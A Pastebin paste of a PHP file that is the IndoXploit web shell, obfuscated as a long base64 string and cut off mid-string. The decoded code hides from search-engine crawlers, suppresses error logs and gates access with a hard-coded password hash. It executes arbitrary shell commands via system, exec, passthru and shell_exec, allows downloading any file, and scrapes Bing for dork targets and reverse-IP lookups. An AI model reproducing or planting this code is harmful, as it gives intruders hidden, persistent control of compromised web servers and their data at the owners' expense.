PalmaSolutions

Yhuricka.php

Apr 6th, 2018
265
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 129.98 KB | None | 0 0
  1. <?php
  2. $auth_pass = "7b4939a8af28c814f0c757bb10f40d3d"; // default: IndoXploit
  3. $l0lz666h05t='c2Vzc2lvbl9zdGFydCgpOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KQGNsZWFyc3RhdGNhY2hlKCk7DQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOw0KQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQoNCiRjb2xvciA9ICIjMDBmZjAwIjsNCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7DQokZGVmYXVsdF91c2VfYWpheCA9IHRydWU7DQokZGVmYXVsdF9jaGFyc2V0ID0gJ1VURi04JzsNCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlYm90IiwgIlNsdXJwIiwgIk1TTkJvdCIsICJQeWNVUkwiLCAiZmFjZWJvb2tleHRlcm5hbGhpdCIsICJpYV9hcmNoaXZlciIsICJjcmF3bGVyIiwgIllhbmRleCIsICJSYW1ibGVyIiwgIllhaG9vISBTbHVycCIsICJZYWhvb1NlZWtlciIsICJiaW5nYm90Iik7DQogICAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsNCiAgICAgICAgZXhpdDsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGxvZ2luX3NoZWxsKCkgew0KPz4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+SW5kb1hwbG9pdDwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KaHRtbCB7DQoJbWFyZ2luOiAyMHB4IGF1dG87DQoJYmFja2dyb3VuZDogIzAwMDAwMDsNCgljb2xvcjogZ3JlZW47DQoJdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KaGVhZGVyIHsNCgljb2xvcjogZ3JlZW47DQoJbWFyZ2luOiAxMHB4IGF1dG87DQp9DQppbnB1dFt0eXBlPXBhc3N3b3JkXSB7DQoJd2lkdGg6IDI1MHB4Ow0KCWhlaWdodDogMjVweDsNCgljb2xvcjogcmVkOw0KCWJhY2tncm91bmQ6ICMwMDAwMDA7DQoJYm9yZGVyOiAxcHggZG90dGVkIGdyZWVuOw0KCXBhZGRpbmc6IDVweDsNCgltYXJnaW4tbGVmdDogMjBweDsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KPGNlbnRlcj4NCjxoZWFkZXI+DQoJPHByZT4NCiBfX19fX19fX19fX19fX19fX19fX19fX19fX18NCjwgcm9vdEBpbmRveHBsb2l0On4jIHcwMHQ/Pz8gPg0KIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KICAgXCAgICAgICAgICwgICAgICAgICwNCiAgICBcICAgICAgIC8oICAgICAgICApYA0KICAgICBcICAgICAgXCBcX19fICAgLyB8DQogICAgICAgICAgICAvLSBfICBgLS8gICcNCiAgICAgICAgICAgKC9cLyBcIFwgICAvXA0KICAgICAgICAgICAvIC8gICB8IGAgICAgXA0KICAgICAgICAgICBPIE8gICApIC8gICAgfA0KICAgICAgICAgICBgLV4tLSdgPCAgICAgJw0KICAgICAgICAgIChfLikgIF8gICkgICAvDQogICAgICAgICAgIGAuX19fL2AgICAgLw0KICAgICAgICAgICAgIGAtLS0tLScgLw0KPC0tLS0uICAgICBfXyAvIF9fICAgXA0KPC0tLS18PT09PU8pKSk9PSkgXCkgLz09PT0NCjwtLS0tJyAgICBgLS0nIGAuX18sJyBcDQogICAgICAgICAgICAgfCAgICAgICAgfA0KICAgICAgICAgICAgICBcICAgICAgIC8NCiAgICAgICAgX19fX19fKCAoXyAgLyBcX19fX19fDQogICAgICAsJyAgLC0tLS0tJyAgIHwgICAgICAgIFwNCiAgICAgIGAtLXtfX19fX19fX19fKSAgICAgICAgXC8NCg0KCTwvcHJlPg0KPC9oZWFkZXI+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIj4NCjwvZm9ybT4NCjw/cGhwDQpleGl0Ow0KfQ0KaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pKQ0KICAgIGlmKCBlbXB0eSgkYXV0aF9wYXNzKSB8fCAoIGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJiAobWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzKSApICkNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7DQogICAgZWxzZQ0KICAgICAgICBsb2dpbl9zaGVsbCgpOw0KaWYoaXNzZXQoJF9HRVRbJ2ZpbGUnXSkgJiYgKCRfR0VUWydmaWxlJ10gIT0gJycpICYmICgkX0dFVFsnYWN0J10gPT0gJ2Rvd25sb2FkJykpIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICAkZmlsZSA9ICRfR0VUWydmaWxlJ107DQogICAgaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7DQogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicuYmFzZW5hbWUoJGZpbGUpLiciJyk7DQogICAgaGVhZGVyKCdFeHBpcmVzOiAwJyk7DQogICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUnKTsNCiAgICBoZWFkZXIoJ1ByYWdtYTogcHVibGljJyk7DQogICAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCRmaWxlKSk7DQogICAgcmVhZGZpbGUoJGZpbGUpOw0KICAgIGV4aXQ7DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5JbmRvWHBsb2l0PC90aXRsZT4NCjxtZXRhIG5hbWU9J2F1dGhvcicgY29udGVudD0nSW5kb1hwbG9pdCc+DQo8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQo8c3R5bGUgdHlwZT0ndGV4dC9jc3MnPg0KQGltcG9ydCB1cmwoaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PVVidW50dSk7DQpodG1sIHsNCiAgICBiYWNrZ3JvdW5kOiAjMDAwMDAwOw0KICAgIGNvbG9yOiAjZmZmZmZmOw0KICAgIGZvbnQtZmFtaWx5OiAnVWJ1bnR1JzsNCglmb250LXNpemU6IDEzcHg7DQoJd2lkdGg6IDEwMCU7DQp9DQpsaSB7DQoJZGlzcGxheTogaW5saW5lOw0KCW1hcmdpbjogNXB4Ow0KCXBhZGRpbmc6IDVweDsNCn0NCnRhYmxlLCB0aCwgdGQgew0KCWJvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTsNCglmb250LWZhbWlseTogVGFob21hLCBHZW5ldmEsIHNhbnMtc2VyaWY7DQoJYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7DQoJZm9udC1mYW1pbHk6ICdVYnVudHUnOw0KCWZvbnQtc2l6ZTogMTNweDsNCn0NCi50YWJsZV9ob21lLCAudGhfaG9tZSwgLnRkX2hvbWUgew0KCWJvcmRlcjogMXB4IHNvbGlkICNmZmZmZmY7DQp9DQp0aCB7DQoJcGFkZGluZzogMTBweDsNCn0NCmEgew0KCWNvbG9yOiAjZmZmZmZmOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCn0NCmE6aG92ZXIgew0KCWNvbG9yOiBnb2xkOw0KCXRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOw0KfQ0KYiB7DQoJY29sb3I6IGdvbGQ7DQp9DQppbnB1dFt0eXBlPXRleHRdLCBpbnB1dFt0eXBlPXBhc3N3b3JkXSxpbnB1dFt0eXBlPXN1Ym1pdF0gew0KCWJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyANCgljb2xvcjogI2ZmZmZmZjsgDQoJYm9yZGVyOiAxcHggc29saWQgI2ZmZmZmZjsgDQoJbWFyZ2luOiA1cHggYXV0bzsNCglwYWRkaW5nLWxlZnQ6IDVweDsNCglmb250LWZhbWlseTogJ1VidW50dSc7DQoJZm9udC1zaXplOiAxM3B4Ow0KfQ0KdGV4dGFyZWEgew0KCWJvcmRlcjogMXB4IHNvbGlkICNmZmZmZmY7DQoJd2lkdGg6IDEwMCU7DQoJaGVpZ2h0OiA0MDBweDsNCglwYWRkaW5nLWxlZnQ6IDVweDsNCgltYXJnaW46IDEwcHggYXV0bzsNCglyZXNpemU6IG5vbmU7DQoJYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7DQoJY29sb3I6ICNmZmZmZmY7DQoJZm9udC1mYW1pbHk6ICdVYnVudHUnOw0KCWZvbnQtc2l6ZTogMTNweDsNCn0NCnNlbGVjdCB7DQoJd2lkdGg6IDE1MnB4Ow0KCWJhY2tncm91bmQ6ICMwMDAwMDA7IA0KCWNvbG9yOiBsaW1lOyANCglib3JkZXI6IDFweCBzb2xpZCAjZmZmZmZmOyANCgltYXJnaW46IDVweCBhdXRvOw0KCXBhZGRpbmctbGVmdDogNXB4Ow0KCWZvbnQtZmFtaWx5OiAnVWJ1bnR1JzsNCglmb250LXNpemU6IDEzcHg7DQp9DQpvcHRpb246aG92ZXIgew0KCWJhY2tncm91bmQ6IGxpbWU7DQoJY29sb3I6ICMwMDAwMDA7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KPD9waHANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCi8vIFRoYW5rcyBidWF0IE9yYW5nLW9yYW5nIHlnIG1lbWJhbnR1IGRhbGFtIHByb3NlcyBwZW1idWF0YW4gc2hlbGwgaW5pLg0KLy8gU2hlbGwgaW5pIHRpZGFrIHNlcGVudWhueWEgMTAwJSBDb2RpbmcgbWFudWFsLCBhZGEgYmViZXJhcGEgZnVuY3Rpb24gZGFuIHRvb2xzIGtpdGEgYW1iaWwgZGFyaSBzaGVsbCB5YW5nIHN1ZGFoIGFkYS4NCi8vIFRhcGkgU2VsZWJpaG55YSwgaXR1IGhhc2lsIGtyZWFzaSBJbmRvWHBsb2l0IHNlbmRpcmkuDQovLyBUYW5wYSBrYWxpYW4ga2l0YSB0aWRhayBha2FuIEJFU0FSIHNlcGVydGkgc2VrYXJhbmcuDQovLyBHcmVldHo6IEFsbCBNZW1iZXIgSW5kb1hwbG9pdC4gJiBhbGwgbXkgZnJpZW5kcy4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCmZ1bmN0aW9uIHcoJGRpciwkcGVybSkgew0KCWlmKCFpc193cml0YWJsZSgkZGlyKSkgew0KCQlyZXR1cm4gIjxmb250IGNvbG9yPXJlZD4iLiRwZXJtLiI8L2ZvbnQ+IjsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gIjxmb250IGNvbG9yPWxpbWU+Ii4kcGVybS4iPC9mb250PiI7DQoJfQ0KfQ0KZnVuY3Rpb24gcigkZGlyLCRwZXJtKSB7DQoJaWYoIWlzX3JlYWRhYmxlKCRkaXIpKSB7DQoJCXJldHVybiAiPGZvbnQgY29sb3I9cmVkPiIuJHBlcm0uIjwvZm9udD4iOw0KCX0gZWxzZSB7DQoJCXJldHVybiAiPGZvbnQgY29sb3I9bGltZT4iLiRwZXJtLiI8L2ZvbnQ+IjsNCgl9DQp9DQpmdW5jdGlvbiBleGUoJGNtZCkgew0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsgCQkNCgkJQG9iX3N0YXJ0KCk7IAkJDQoJCUBzeXN0ZW0oJGNtZCk7IAkJDQoJCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyAJCQ0KCQlAb2JfZW5kX2NsZWFuKCk7IAkJDQoJCXJldHVybiAkYnVmZjsgCQ0KCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7IAkJDQoJCUBleGVjKCRjbWQsJHJlc3VsdHMpOyAJCQ0KCQkkYnVmZiA9ICIiOyAJCQ0KCQlmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpIHsgCQkJDQoJCQkkYnVmZiAuPSAkcmVzdWx0OyAJCQ0KCQl9IHJldHVybiAkYnVmZjsgCQ0KCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgeyAJCQ0KCQlAb2Jfc3RhcnQoKTsgCQkNCgkJQHBhc3N0aHJ1KCRjbWQpOyAJCQ0KCQkkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsgCQkNCgkJQG9iX2VuZF9jbGVhbigpOyAJCQ0KCQlyZXR1cm4gJGJ1ZmY7IAkNCgl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyAJCQ0KCQkkYnVmZiA9IEBzaGVsbF9leGVjKCRjbWQpOyAJCQ0KCQlyZXR1cm4gJGJ1ZmY7IAkNCgl9IA0KfQ0KZnVuY3Rpb24gcGVybXMoJGZpbGUpew0KCSRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7DQoJaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgew0KCS8vIFNvY2tldA0KCSRpbmZvID0gJ3MnOw0KCX0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsNCgkvLyBTeW1ib2xpYyBMaW5rDQoJJGluZm8gPSAnbCc7DQoJfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgew0KCS8vIFJlZ3VsYXINCgkkaW5mbyA9ICctJzsNCgl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7DQoJLy8gQmxvY2sgc3BlY2lhbA0KCSRpbmZvID0gJ2InOw0KCX0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsNCgkvLyBEaXJlY3RvcnkNCgkkaW5mbyA9ICdkJzsNCgl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7DQoJLy8gQ2hhcmFjdGVyIHNwZWNpYWwNCgkkaW5mbyA9ICdjJzsNCgl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7DQoJLy8gRklGTyBwaXBlDQoJJGluZm8gPSAncCc7DQoJfSBlbHNlIHsNCgkvLyBVbmtub3duDQoJJGluZm8gPSAndSc7DQoJfQ0KCQkvLyBPd25lcg0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KCSgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCgkoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCgkvLyBHcm91cA0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KCSgoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDoNCgkoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCgkvLyBXb3JsZA0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPw0KCSgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCgkoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCglyZXR1cm4gJGluZm87DQp9DQpmdW5jdGlvbiBoZGQoJHMpIHsNCglpZigkcyA+PSAxMDczNzQxODI0KQ0KCXJldHVybiBzcHJpbnRmKCclMS4yZicsJHMgLyAxMDczNzQxODI0ICkuJyBHQic7DQoJZWxzZWlmKCRzID49IDEwNDg1NzYpDQoJcmV0dXJuIHNwcmludGYoJyUxLjJmJywkcyAvIDEwNDg1NzYgKSAuJyBNQic7DQoJZWxzZWlmKCRzID49IDEwMjQpDQoJcmV0dXJuIHNwcmludGYoJyUxLjJmJywkcyAvIDEwMjQgKSAuJyBLQic7DQoJZWxzZQ0KCXJldHVybiAkcyAuJyBCJzsNCn0NCmZ1bmN0aW9uIGFtYmlsS2F0YSgkcGFyYW0sICRrYXRhMSwgJGthdGEyKXsNCiAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOw0KICAgIGlmKHN0cnBvcygkcGFyYW0sICRrYXRhMikgPT09IEZBTFNFKSByZXR1cm4gRkFMU0U7DQogICAgJHN0YXJ0ID0gc3RycG9zKCRwYXJhbSwgJGthdGExKSArIHN0cmxlbigka2F0YTEpOw0KICAgICRlbmQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTIsICRzdGFydCk7DQogICAgJHJldHVybiA9IHN1YnN0cigkcGFyYW0sICRzdGFydCwgJGVuZCAtICRzdGFydCk7DQogICAgcmV0dXJuICRyZXR1cm47DQp9DQpmdW5jdGlvbiBnZXRzb3VyY2UoJHVybCkgew0KICAgICRjdXJsID0gY3VybF9pbml0KCR1cmwpOw0KICAgIAkJY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KICAgIAkJY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOw0KICAgIAkJY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsNCiAgICAJCWN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7DQogICAgJGNvbnRlbnQgPSBjdXJsX2V4ZWMoJGN1cmwpOw0KICAgIAkJY3VybF9jbG9zZSgkY3VybCk7DQogICAgcmV0dXJuICRjb250ZW50Ow0KfQ0KZnVuY3Rpb24gYmluZygkZG9yaykgew0KCSRucGFnZSA9IDE7DQoJJG5wYWdlcyA9IDMwMDAwOw0KCSRhbGxMaW5rcyA9IGFycmF5KCk7DQoJJGxsbCA9IGFycmF5KCk7DQoJd2hpbGUoJG5wYWdlIDw9ICRucGFnZXMpIHsNCgkgICAgJHggPSBnZXRzb3VyY2UoImh0dHA6Ly93d3cuYmluZy5jb20vc2VhcmNoP3E9Ii4kZG9yay4iJmZpcnN0PSIuJG5wYWdlKTsNCgkgICAgaWYoJHgpIHsNCgkJCXByZWdfbWF0Y2hfYWxsKCcjPGgyPjxhIGhyZWY9IiguKj8pIiBoPSJJRCMnLCAkeCwgJGZpbmRsaW5rKTsNCgkJCWZvcmVhY2ggKCRmaW5kbGlua1sxXSBhcyAkZmwpIGFycmF5X3B1c2goJGFsbExpbmtzLCAkZmwpOw0KCQkJJG5wYWdlID0gJG5wYWdlICsgMTA7DQoJCQlpZiAocHJlZ19tYXRjaCgiKGZpcnN0PSIgLiAkbnBhZ2UgLiAiJmFtcClzaVUiLCAkeCwgJGxpbmtzdWl2KSA9PSAwKSBicmVhazsNCgkJfSBlbHNlIGJyZWFrOw0KCX0NCgkkVVJMcyA9IGFycmF5KCk7DQoJZm9yZWFjaCgkYWxsTGlua3MgYXMgJHVybCl7DQoJICAgICRleHAgPSBleHBsb2RlKCIvIiwgJHVybCk7DQoJICAgICRVUkxzW10gPSAkZXhwWzJdOw0KCX0NCgkkYXJyYXkgPSBhcnJheV9maWx0ZXIoJFVSTHMpOw0KCSRhcnJheSA9IGFycmF5X3VuaXF1ZSgkYXJyYXkpOw0KIAkkc3NzID0gY291bnQoYXJyYXlfdW5pcXVlKCRhcnJheSkpOw0KCWZvcmVhY2goJGFycmF5IGFzICRkb21haW4pIHsNCgkJZWNobyAkZG9tYWluLiJcbiI7DQoJfQ0KfQ0KZnVuY3Rpb24gcmV2ZXJzZSgkdXJsKSB7DQoJJGNoID0gY3VybF9pbml0KCJodHRwOi8vZG9tYWlucy55b3VnZXRzaWduYWwuY29tL2RvbWFpbnMucGhwIik7DQoJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxICk7DQoJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICAicmVtb3RlQWRkcmVzcz0kdXJsJmtldD0iKTsNCgkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCgkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQoJJHJlc3AgPSBjdXJsX2V4ZWMoJGNoKTsNCgkkcmVzcCA9IHN0cl9yZXBsYWNlKCJbIiwiIiwgc3RyX3JlcGxhY2UoIl0iLCIiLCBzdHJfcmVwbGFjZSgiXCJcIiIsIiIsIHN0cl9yZXBsYWNlKCIsICwiLCIsIiwgc3RyX3JlcGxhY2UoInsiLCIiLCBzdHJfcmVwbGFjZSgieyIsIiIsIHN0cl9yZXBsYWNlKCJ9IiwiIiwgc3RyX3JlcGxhY2UoIiwgIiwiLCIsIHN0cl9yZXBsYWNlKCIsICIsIiwiLCAgc3RyX3JlcGxhY2UoIiciLCIiLCBzdHJfcmVwbGFjZSgiJyIsIiIsIHN0cl9yZXBsYWNlKCI6IiwiLCIsIHN0cl9yZXBsYWNlKCciJywnJywgJHJlc3AgKSApICkgKSApICkgKSApICkgKSkpKTsNCgkkYXJyYXkgPSBleHBsb2RlKCIsLCIsICRyZXNwKTsNCgl1bnNldCgkYXJyYXlbMF0pOw0KCWZvcmVhY2goJGFycmF5IGFzICRsbmspIHsNCgkJJGxuayA9ICJodHRwOi8vJGxuayI7DQoJCSRsbmsgPSBzdHJfcmVwbGFjZSgiLCIsICIiLCAkbG5rKTsNCgkJZWNobyAkbG5rLiJcbiI7DQoJCW9iX2ZsdXNoKCk7DQoJCWZsdXNoKCk7DQoJfQ0KCQljdXJsX2Nsb3NlKCRjaCk7DQp9DQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7DQoJZnVuY3Rpb24gaWR4X3NzKCRhcnJheSkgew0KCQlyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnaWR4X3NzJywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KCX0NCgkkX1BPU1QgPSBpZHhfc3MoJF9QT1NUKTsNCgkkX0NPT0tJRSA9IGlkeF9zcygkX0NPT0tJRSk7DQp9DQoNCmlmKGlzc2V0KCRfR0VUWydkaXInXSkpIHsNCgkkZGlyID0gJF9HRVRbJ2RpciddOw0KCWNoZGlyKCRkaXIpOw0KfSBlbHNlIHsNCgkkZGlyID0gZ2V0Y3dkKCk7DQp9DQoka2VybmVsID0gcGhwX3VuYW1lKCk7DQokaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7DQokZGlyID0gc3RyX3JlcGxhY2UoIlxcIiwiLyIsJGRpcik7DQokc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7DQokZnJlZXNwYWNlID0gaGRkKGRpc2tfZnJlZV9zcGFjZSgiLyIpKTsNCiR0b3RhbCA9IGhkZChkaXNrX3RvdGFsX3NwYWNlKCIvIikpOw0KJHVzZWQgPSAkdG90YWwgLSAkZnJlZXNwYWNlOw0KJHNtID0gKEBpbmlfZ2V0KHN0cnRvbG93ZXIoInNhZmVfbW9kZSIpKSA9PSAnb24nKSA/ICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1saW1lPk9GRjwvZm9udD4iOw0KJGRzID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQokbXlzcWwgPSAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpID8gIjxmb250IGNvbG9yPWxpbWU+T048L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7DQokY3VybCA9IChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSA/ICI8Zm9udCBjb2xvcj1saW1lPk9OPC9mb250PiIgOiAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iOw0KJHdnZXQgPSAoZXhlKCd3Z2V0IC0taGVscCcpKSA/ICI8Zm9udCBjb2xvcj1saW1lPk9OPC9mb250PiIgOiAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iOw0KJHBlcmwgPSAoZXhlKCdwZXJsIC0taGVscCcpKSA/ICI8Zm9udCBjb2xvcj1saW1lPk9OPC9mb250PiIgOiAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iOw0KJHB5dGhvbiA9IChleGUoJ3B5dGhvbiAtLWhlbHAnKSkgPyAiPGZvbnQgY29sb3I9bGltZT5PTjwvZm9udD4iIDogIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IjsNCiRzaG93X2RzID0gKCFlbXB0eSgkZHMpKSA/ICI8Zm9udCBjb2xvcj1yZWQ+JGRzPC9mb250PiIgOiAiPGZvbnQgY29sb3I9bGltZT5OT05FPC9mb250PiI7DQppZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsNCgkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7DQoJJHVpZCA9IEBnZXRteXVpZCgpOw0KCSRnaWQgPSBAZ2V0bXlnaWQoKTsNCgkkZ3JvdXAgPSAiPyI7DQp9IGVsc2Ugew0KCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsNCgkkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk7DQoJJHVzZXIgPSAkdWlkWyduYW1lJ107DQoJJHVpZCA9ICR1aWRbJ3VpZCddOw0KCSRncm91cCA9ICRnaWRbJ25hbWUnXTsNCgkkZ2lkID0gJGdpZFsnZ2lkJ107DQp9DQplY2hvICJTeXN0ZW06IDxmb250IGNvbG9yPWxpbWU+Ii4ka2VybmVsLiI8L2ZvbnQ+PGJyPiI7DQplY2hvICJVc2VyOiA8Zm9udCBjb2xvcj1saW1lPiIuJHVzZXIuIjwvZm9udD4gKCIuJHVpZC4iKSBHcm91cDogPGZvbnQgY29sb3I9bGltZT4iLiRncm91cC4iPC9mb250PiAoIi4kZ2lkLiIpPGJyPiI7DQplY2hvICJTZXJ2ZXIgSVA6IDxmb250IGNvbG9yPWxpbWU+Ii4kaXAuIjwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj1saW1lPiIuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uIjwvZm9udD48YnI+IjsNCmVjaG8gIkhERDogPGZvbnQgY29sb3I9bGltZT4kdXNlZDwvZm9udD4gLyA8Zm9udCBjb2xvcj1saW1lPiR0b3RhbDwvZm9udD4gKCBGcmVlOiA8Zm9udCBjb2xvcj1saW1lPiRmcmVlc3BhY2U8L2ZvbnQ+ICk8YnI+IjsNCmVjaG8gIlNhZmUgTW9kZTogJHNtPGJyPiI7DQplY2hvICJEaXNhYmxlIEZ1bmN0aW9uczogJHNob3dfZHM8YnI+IjsNCmVjaG8gIk15U1FMOiAkbXlzcWwgfCBQZXJsOiAkcGVybCB8IFB5dGhvbjogJHB5dGhvbiB8IFdHRVQ6ICR3Z2V0IHwgQ1VSTDogJGN1cmwgPGJyPiI7DQplY2hvICJDdXJyZW50IERJUjogIjsNCmZvcmVhY2goJHNjZGlyIGFzICRjX2RpciA9PiAkY2RpcikgewkNCgllY2hvICI8YSBocmVmPSc/